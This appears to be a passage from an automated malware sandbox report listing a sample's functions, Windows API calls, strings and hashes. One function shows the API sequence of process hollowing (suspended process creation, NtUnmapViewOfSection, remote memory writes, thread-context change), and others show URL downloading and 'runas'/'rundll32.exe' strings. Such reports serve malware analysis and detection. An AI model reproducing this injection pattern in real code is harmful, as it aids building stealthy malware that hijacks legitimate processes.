Opcode Fuzzy Hash: 6ee4221dc78fa2c38d3652c079dfdd242a13d7e79f7c4f267e7dd60be5bbe1c4
Instruction Fuzzy Hash: 23111571A0420AAFCF05DF58E9419DA7BF5EF48314F0540A9F809EB251D630EA21DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F1DB6A, Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F1DBCD

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction ID: a54f8343276489a148bdde3311cb7676539da1b74c27021da93d745647bda84e
Opcode Fuzzy Hash: 9ba8c6d62c837557b7d10db139ff9f6489b14aed1980b721ae02a396919f42ec
Instruction Fuzzy Hash: 96014F72C05159BFCF41EFE88C019EE7FB5AF48310F144165F915E21A1E7358AA0EB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F1D8B1, Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00F1DCA1,?,?,00000000,?,00F1DCA1,00000000,0000000C), ref: 00F1D8CE

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ce8c9ceaf84ea3b92a7f0c2ab71d5b65cbe47a55ad142398dd6e45a7235af084
Instruction ID: 55060a1dabbd20b4a53bca426bd4b20c79d125fc3f166ad4cfc500d63973d7b6
Opcode Fuzzy Hash: ce8c9ceaf84ea3b92a7f0c2ab71d5b65cbe47a55ad142398dd6e45a7235af084
Instruction Fuzzy Hash: 4BD06C3200020DBFDF129F84DC06EDA3BAAFB48714F014000BA1856020C732E872EB90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00F02250, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 155injectionthreadmemoryCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,00000000,00000000), ref: 00F0226C
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,00000000,00000000), ref: 00F022C5
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004,?,00000000,00000000), ref: 00F022DE
GetThreadContext.KERNEL32(?,00000000,?,00000000,00000000), ref: 00F022F3
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,00000000,00000000), ref: 00F02316
GetModuleHandleA.KERNEL32(ntdll.dll,NtUnmapViewOfSection,?,00000000,00000000), ref: 00F0232E
GetProcAddress.KERNEL32(00000000), ref: 00F02335
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040,?,00000000,00000000), ref: 00F02354
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00F0236F
WriteProcessMemory.KERNEL32(?,?,?,?,00000000,?,?,00000000,?,00000000,00000000), ref: 00F023AC
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,00000000,?,00000000,00000000), ref: 00F023DC
SetThreadContext.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000), ref: 00F023F2
ResumeThread.KERNEL32(?,?,?,00000000,?,00000000,00000000), ref: 00F023FB
VirtualFree.KERNEL32(?,00000000,00008000,?,?,00000000,?,00000000,00000000), ref: 00F02409
VirtualFree.KERNEL32(?,00000000,00008000,?,00000000,00000000), ref: 00F02420

Strings

NtUnmapViewOfSection, xrefs: 00F02324
ntdll.dll, xrefs: 00F02329

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$MemoryVirtual$ThreadWrite$AllocContextFreeModule$AddressCreateFileHandleNameProcReadResume
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 4033543172-1050664331
Opcode ID: 907f6451f7a9b447875fda73a83489c96aea5df2ebf8b6ce685065cfee58c014
Instruction ID: 50e70a5fccd9f4fd41c1657543bc50e6b030cc12e77af2a2a1a8b38848816d37
Opcode Fuzzy Hash: 907f6451f7a9b447875fda73a83489c96aea5df2ebf8b6ce685065cfee58c014
Instruction Fuzzy Hash: 94518E71A44308BBEB20DF94DC45FAABB78FF08705F504064F608E61D0D7B4A955EB64

Uniqueness

Uniqueness Score: -1.00%

Function 00F1CB2C, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00F1CB70

Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C726
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C738
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C74A
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C75C
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C76E
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C780
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C792
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7A4
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7B6
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7C8
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7DA
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7EC
Part of subcall function 00F1C709: _free.LIBCMT ref: 00F1C7FE

_free.LIBCMT ref: 00F1CB65

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F156FE), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(?,?,00F156FE), ref: 00F16629

_free.LIBCMT ref: 00F1CB87
_free.LIBCMT ref: 00F1CB9C
_free.LIBCMT ref: 00F1CBA7
_free.LIBCMT ref: 00F1CBC9
_free.LIBCMT ref: 00F1CBDC
_free.LIBCMT ref: 00F1CBEA
_free.LIBCMT ref: 00F1CBF5
_free.LIBCMT ref: 00F1CC2D
_free.LIBCMT ref: 00F1CC34
_free.LIBCMT ref: 00F1CC51
_free.LIBCMT ref: 00F1CC69

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 74b034f9de3c598d73b44d2056c779a9738fc902358f46e2fcea3ddc56a20978
Instruction ID: 5c6ee7a78e03005171ad682400deb9682bec87fec8fe31ae0543773e5ff74c16
Opcode Fuzzy Hash: 74b034f9de3c598d73b44d2056c779a9738fc902358f46e2fcea3ddc56a20978
Instruction Fuzzy Hash: A6315B71A48340DFEB21AA79DC46BD6B3E9AF40321F104429E458DB191DF36ECD0EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00F1A84A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 00F1AAD2

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: e98ef20f2725a5d8391e3f2e93ceec8e0160fe3c4b04ab6301e338f096842ed3
Instruction ID: da6670550e540ab0810be6c30fb7faf53a944ae4ef4f27a5d31d66e33d60f8c2
Opcode Fuzzy Hash: e98ef20f2725a5d8391e3f2e93ceec8e0160fe3c4b04ab6301e338f096842ed3
Instruction Fuzzy Hash: 17C10870E092899FDB15DF98CC81BEDBBB2BF89320F044059E514A7291D7359DC2EB22

Uniqueness

Uniqueness Score: -1.00%

Function 00F02430, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 136networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 00F024D1
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00F024E3
InternetReadFile.WININET(00000000,?,00032000,00032000), ref: 00F024FA
InternetCloseHandle.WININET(00000000), ref: 00F0250B
InternetCloseHandle.WININET(00000000), ref: 00F0250E
InternetCloseHandle.WININET(00000000), ref: 00F0251F
InternetCloseHandle.WININET(00000000), ref: 00F02522

Strings

Microsoft Internet Explorer, xrefs: 00F024CC
runas, xrefs: 00F026C5
<, xrefs: 00F026AC

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Internet$CloseHandle$Open$FileRead
String ID: <$Microsoft Internet Explorer$runas
API String ID: 4294395943-436926838
Opcode ID: 551529b91da2231fda1a48d1701ad9200af6d2312c043b20a752002f7143e204
Instruction ID: 91673539c51d09ec336edfba4e4e3e548b23f69b20ba5e081ec1b2c4f1e598c4
Opcode Fuzzy Hash: 551529b91da2231fda1a48d1701ad9200af6d2312c043b20a752002f7143e204
Instruction Fuzzy Hash: 7C410331E00219ABDB18DF64CC89BAEBBB9EF45300F108159F515A72D1D738AA41EFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00F16DDA, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F16DF0

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F156FE), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(?,?,00F156FE), ref: 00F16629

_free.LIBCMT ref: 00F16DFC
_free.LIBCMT ref: 00F16E07
_free.LIBCMT ref: 00F16E12
_free.LIBCMT ref: 00F16E1D
_free.LIBCMT ref: 00F16E28
_free.LIBCMT ref: 00F16E33
_free.LIBCMT ref: 00F16E3E
_free.LIBCMT ref: 00F16E49
_free.LIBCMT ref: 00F16E57

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: bbd7b1286bfc0fe50f4f89dd5394d6fa52552c170038b32eb8b5c69217be4e1d
Instruction ID: f101fec63f22d65194315aeec6bab0d25bb2c74281fb69f70e5e7b7a3ccee372
Opcode Fuzzy Hash: bbd7b1286bfc0fe50f4f89dd5394d6fa52552c170038b32eb8b5c69217be4e1d
Instruction Fuzzy Hash: 69215476900108EFCB41EF94C881DDEBBB9AF08355B0141A6F915DB162DB36EA94AB80

Uniqueness

Uniqueness Score: -1.00%

Function 00F05F80, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 311COMMON

Download Yara Rule

Strings

(, xrefs: 00F06604

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 9b4d2b03955c12cef830066c0f91de3d2623d0d3e1b4dc139ea318ee95dffe01
Instruction ID: c6c9cc566c072f3be8bc606b11de96e38675bf1847d11d8bcb0db7bf9cdd7994
Opcode Fuzzy Hash: 9b4d2b03955c12cef830066c0f91de3d2623d0d3e1b4dc139ea318ee95dffe01
Instruction Fuzzy Hash: ECC1B170E00208DBEF24EFA4CC95BDEBBB5AF55304F504199E405672C2DBB55A88EF91

Uniqueness

Uniqueness Score: -1.00%

Function 00F10A40, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00F10A77
___except_validate_context_record.LIBVCRUNTIME ref: 00F10A7F
_ValidateLocalCookies.LIBCMT ref: 00F10B08
__IsNonwritableInCurrentImage.LIBCMT ref: 00F10B33
_ValidateLocalCookies.LIBCMT ref: 00F10B88

Strings

csm, xrefs: 00F10B1D
csm, xrefs: 00F10BB1

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm$csm
API String ID: 1170836740-3733052814
Opcode ID: a91668567d5cf2654bc5153fb689c81ba73c6e251077b4b0f5093b3c3a251e8a
Instruction ID: d84df8460821d063720e7eb7143c9512b3e62687f3607e7eb69ed6ed91900517
Opcode Fuzzy Hash: a91668567d5cf2654bc5153fb689c81ba73c6e251077b4b0f5093b3c3a251e8a
Instruction Fuzzy Hash: 7051A334E00209DFCF14EF28D850ADE7BA5BF44324F1481A9E8059B392DBB5D9C6EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00F06B90, Relevance: 12.3, APIs: 8, Instructions: 256networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(00F2CDDC,00000000,00000000,00000000,00000000), ref: 00F06BBC
InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00F06BDE
HttpOpenRequestA.WININET(00000000,00000000,?,00000000,00000000,00000000,00000000,00000001), ref: 00F06C23

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: InternetOpen$ConnectHttpRequest
String ID:
API String ID: 3864186401-0
Opcode ID: fe02469e7b395aafa7f7b638343f604b8c102cdcd777d53a2eec94d001c092dd
Instruction ID: 539e3bca97ee9585aace59da60c2b42bb484732cc50c30d894c1478d920869a2
Opcode Fuzzy Hash: fe02469e7b395aafa7f7b638343f604b8c102cdcd777d53a2eec94d001c092dd
Instruction Fuzzy Hash: 1591D170A00208EBEF14EFA8CC4ABAE7B76EF45304F504558F801672C2D7B59A84ABD1

Uniqueness

Uniqueness Score: -1.00%

Function 00F1BF44, Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 00F1BF6E
_free.LIBCMT ref: 00F1C047
_free.LIBCMT ref: 00F1C074

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: f49a4844869e60c97c480962947a921da5121796251772d3abc08c1b5554a984
Instruction ID: 4f6c93195220455d7dddc8481c86e4e5919188ddb64d57934aa37be95d890888
Opcode Fuzzy Hash: f49a4844869e60c97c480962947a921da5121796251772d3abc08c1b5554a984
Instruction Fuzzy Hash: 0251F571D84255EFDB20AFB49C42AFE7BA4AF05720F044169E510E7282EB7699C0FBD4

Uniqueness

Uniqueness Score: -1.00%

Function 00F171AC, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMON

Download Yara Rule

Strings

ext-ms-, xrefs: 00F17217
api-ms-, xrefs: 00F17203

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: 082c091e63ecc1a547019d3dd37f1d6e0de4db683b6279a7a499c91f30c30612
Instruction ID: 75b676ea6c2c3a7438d30b1b479ed4d7ff38c85734e556b356bfdc374de42676
Opcode Fuzzy Hash: 082c091e63ecc1a547019d3dd37f1d6e0de4db683b6279a7a499c91f30c30612
Instruction Fuzzy Hash: 3A21C632E0D365E7CB316A649C45EDA36789F557B0B210150FD1EA7290D670DD42BEE0

Uniqueness

Uniqueness Score: -1.00%

Function 00F1C8A8, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00F1C870: _free.LIBCMT ref: 00F1C895

_free.LIBCMT ref: 00F1C8F6

Part of subcall function 00F16601: HeapFree.KERNEL32(00000000,00000000,?,00F156FE), ref: 00F16617
Part of subcall function 00F16601: GetLastError.KERNEL32(?,?,00F156FE), ref: 00F16629

_free.LIBCMT ref: 00F1C901
_free.LIBCMT ref: 00F1C90C
_free.LIBCMT ref: 00F1C960
_free.LIBCMT ref: 00F1C96B
_free.LIBCMT ref: 00F1C976
_free.LIBCMT ref: 00F1C981

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction ID: ae99d7b38919dfe8271687c870b6ddecb38f14b375620b11c9c92f2a55da8c6a
Opcode Fuzzy Hash: 17f53bcb001aa0cf27f4b28cdacd85efe4fe4569033449001c41b86b803b0e8a
Instruction Fuzzy Hash: 171181715D0B04FAEA20B7B1CC87FCBB79D9F01710F400824B299EA052EB3AF595A6D0

Uniqueness

Uniqueness Score: -1.00%

Function 00F18457, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00F03D80,00000000), ref: 00F1849F
__fassign.LIBCMT ref: 00F1867E
__fassign.LIBCMT ref: 00F1869B
WriteFile.KERNEL32(?,00F03D80,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F186E3
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00F18723
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 00F187CF

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: bfc57a3ab12627543edbcb214e8d0106a7a4622198de0fb353bc227abab10988
Instruction ID: 4f8109bb12adb53f58e68d9cff3a59482443a8845a86bc19a978a294444e78fb
Opcode Fuzzy Hash: bfc57a3ab12627543edbcb214e8d0106a7a4622198de0fb353bc227abab10988
Instruction Fuzzy Hash: AFD1AC75D002589FCF15CFA8C9809EDBBB5FF48364F28016AE855BB281DB30AD86DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00F10E44, Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00F10E3B,00F10CA9,00F105B7), ref: 00F10E52
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F10E60
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F10E79
SetLastError.KERNEL32(00000000,00F10E3B,00F10CA9,00F105B7), ref: 00F10ECB

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: e168135850fdd57b9c0da97ad267b2e50f27a97e2921464c3c35722c35b894b8
Instruction ID: e0a2ab848f5c19e22d65207dd5d9b902276e458e224a63ff5740201f04205297
Opcode Fuzzy Hash: e168135850fdd57b9c0da97ad267b2e50f27a97e2921464c3c35722c35b894b8
Instruction Fuzzy Hash: 4201D473A09716AEE62827767D95AD73A59FB05774B20062AF614801E2EFA64CC1B240

Uniqueness

Uniqueness Score: -1.00%

Function 00F02890, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 127threadsleepinjectionCOMMON

Download Yara Rule

APIs

Part of subcall function 00F0EF20: Concurrency::cancel_current_task.LIBCPMT ref: 00F0F041

CreateThread.KERNEL32(00000000,00000000,00F02820,00000000,00000000,00000000), ref: 00F028F6
Sleep.KERNEL32(00001388,?,?,?,?,?,?,?,?,?,?), ref: 00F02903
SuspendThread.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00F0290A

Strings

runas, xrefs: 00F02A4F
rundll32.exe, xrefs: 00F02C7C

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Concurrency::cancel_current_taskCreateSleepSuspend
String ID: runas$rundll32.exe
API String ID: 1039963361-4081450877
Opcode ID: 2f5dbe5ef64bf05b31267eaaf00befafe7a3e29448090706a31fd86969f80c11
Instruction ID: 4f1d42ecaee7bb2431aceeee8149a81acf702f92cda62e71070a1b0de05a43fa
Opcode Fuzzy Hash: 2f5dbe5ef64bf05b31267eaaf00befafe7a3e29448090706a31fd86969f80c11
Instruction Fuzzy Hash: 66411831210248ABEB68DF28CC99B9D3B56EF45311F508618F955973D6CB39D4C0BB64

Uniqueness

Uniqueness Score: -1.00%

Function 00F12C0B, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00F12C4D

Strings

.cmd, xrefs: 00F12C6B
.exe, xrefs: 00F12C5A
.com, xrefs: 00F12C8D
.bat, xrefs: 00F12C7C

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e691bc8ca52c1fa40ef4a6ba9725ce27e2482b8d9f0f7491b04321e0b8dfefbf
Instruction ID: 004d19dd4347b9d2438e4a0603e5e8ca78f51bbc5df1729760b07b660a92e675
Opcode Fuzzy Hash: e691bc8ca52c1fa40ef4a6ba9725ce27e2482b8d9f0f7491b04321e0b8dfefbf
Instruction Fuzzy Hash: 28012B27E0C326259A546099BE426BE73A98F91BB0725002AFD48F71C0EE8CDDA231D1

Uniqueness

Uniqueness Score: -1.00%

Function 00F11154, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

api-ms-, xrefs: 00F111A4

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 55b8a61b326b4f047550f42585da118a3d0b9c854c66dbbd43fb993e988c7387
Instruction ID: c1e3304fdaa29ac71ae50cd16d98c64eca04d29f0bc64d8f22151a22fcb9f17d
Opcode Fuzzy Hash: 55b8a61b326b4f047550f42585da118a3d0b9c854c66dbbd43fb993e988c7387
Instruction Fuzzy Hash: E0119636E0A629FBCB229BA49C44B9BB75CBF017B0B210151EF05B7290D630DE41F6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00F12203, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00F121F8,?,?,00F121C0,?,?,?), ref: 00F12218
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F1222B
FreeLibrary.KERNEL32(00000000,?,?,00F121F8,?,?,00F121C0,?,?,?), ref: 00F1224E

Strings

CorExitProcess, xrefs: 00F12223
mscoree.dll, xrefs: 00F12211

Memory Dump Source

Source File: 0000000B.00000002.667193143.0000000000F01000.00000020.00020000.sdmp, Offset: 00F00000, based on PE: true

Associated: 0000000B.00000002.667030042.0000000000F00000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667232103.0000000000F27000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.667359564.0000000000F30000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.667366921.0000000000F35000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7567cf7be4e3f0b54ca404668debd50db6737ef08af4b819c84c3c849ea1c1f4
